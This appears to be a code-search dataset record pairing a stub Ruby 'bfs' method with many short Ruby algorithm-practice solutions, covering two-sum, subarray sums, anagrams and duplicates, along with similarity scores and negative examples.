[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def solution(a)\n a.uniq.count\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def my_min(arr) # Find\n min = arr[0]\n\n arr.each do |el| # Go through array once O(n)\n min = el if el < min # update min while going through if found min\n end\n min\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def find_unique_elements(arr)\n \nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def solution(a)\n counts = {}\n for i in a\n counts[i] ||= 0\n counts[i] += 1\n end\n for i in (1..a.count)\n return 0 if counts[i] != 1\n end\n return 1\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def solution(a)\n ((1..a.size + 1).to_a - a).first\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def find_unsorted_subarray(nums)\n \nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def second_anagram?(word1, word2)\n p \"Running second_anagram?...\" \n\n start = Time.now\n word2 = word2.split(\"\") #O(n)\n word1.each_char do |char| #O(n)\n char_index = word2.index(char) #O(n)\n if char_index.nil? #O(1)\n return false #O(1)\n else\n word2.delete_at(char_index) #O(1)\n end\n end\n word2.empty? #O(1)\n p \"Took #{Time.now - start} seconds\"\nend" ]
[ "0.694976", "0.6588579", "0.6424199", "0.6335124", "0.6161739", "0.6147929", "0.6099504", "0.6064365", "0.6057384", "0.60377026", "0.60375905", "0.60064393", "0.6004914", "0.59991395", "0.5913556", "0.59077466", "0.5884987", "0.5877909", "0.5872623", "0.587165", "0.58481", "0.5844308", "0.58404917", "0.58355", "0.5835443", "0.58279157", "0.58265984", "0.5820277", "0.5813492", "0.58062303", "0.5789769", "0.5778309", "0.5770125", "0.5767226", "0.57595026", "0.574819", "0.5738732", "0.573745", "0.57188725", "0.570016", "0.569475", "0.56943023", "0.56852716", "0.5673036", "0.567238", "0.5669359", "0.566845", "0.5665223", "0.5664209", "0.5664145", "0.5663707", "0.5662293", "0.565808", "0.56536394", "0.5650557", "0.56448495", "0.5640638", "0.56391203", "0.56364423", "0.56345284", "0.5633756", "0.5631655", "0.56229687", "0.56220907", "0.56174254", "0.5617318", "0.56138426", "0.56065863", "0.5603947", "0.56013346", "0.5600959", "0.55974007", "0.5596226", "0.55935675", "0.5593274", "0.55898494", "0.5581575", "0.55806535", "0.55788237", "0.557672", "0.55749255", "0.5572588", "0.5565359", "0.556285", "0.5555555", "0.55542946", "0.55532867", "0.5551411", "0.5545563", "0.5545133", "0.5533259", "0.55324495", "0.55291307", "0.5527012", "0.5526226", "0.552554", "0.5521415", "0.5516709", "0.5516106", "0.5515561", "0.55124396" ]
0.0
-1
Optional Method Time Complexity: Space Complexity:
def bfs raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def optional; end", "def maybe; end", "def optional?\n @optional\n end", "def optional?\n\t\t!required?\n\tend", "def option(criteria = T.unsafe(nil)); end", "def optimizable?\n super || !predicate.equal?(operation.predicate)\n end", "def none?\n !any?\n end", "def optional_positionals; end", "def optional?\n not required\n end", "def optimize\n left.ne(right.first)\n end", "def solution(n)\n\tval = 0.0\n\tval += 1.0 unless n[0].zero?\n\tval += 2.0 unless n[1].zero?\n\tval += 4.0 unless n[2].zero?\n\tval += 8.0 unless n[3].zero?\n val\n\t\nend", "def required?\n !optional?\n end", "def probNull(bit)\n if bit == 1\n return @probNullVal\n else #bit == 0\n return @negProbNullVal\n end\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def solved?\n first_empty_index.nil? && legal?\n end", "def solution(a)\n result = 0\n tmp_count = 0\n a.each_with_index do |val, idx|\n if val.zero?\n tmp_count += 1\n else\n result += tmp_count\n end\n end\n 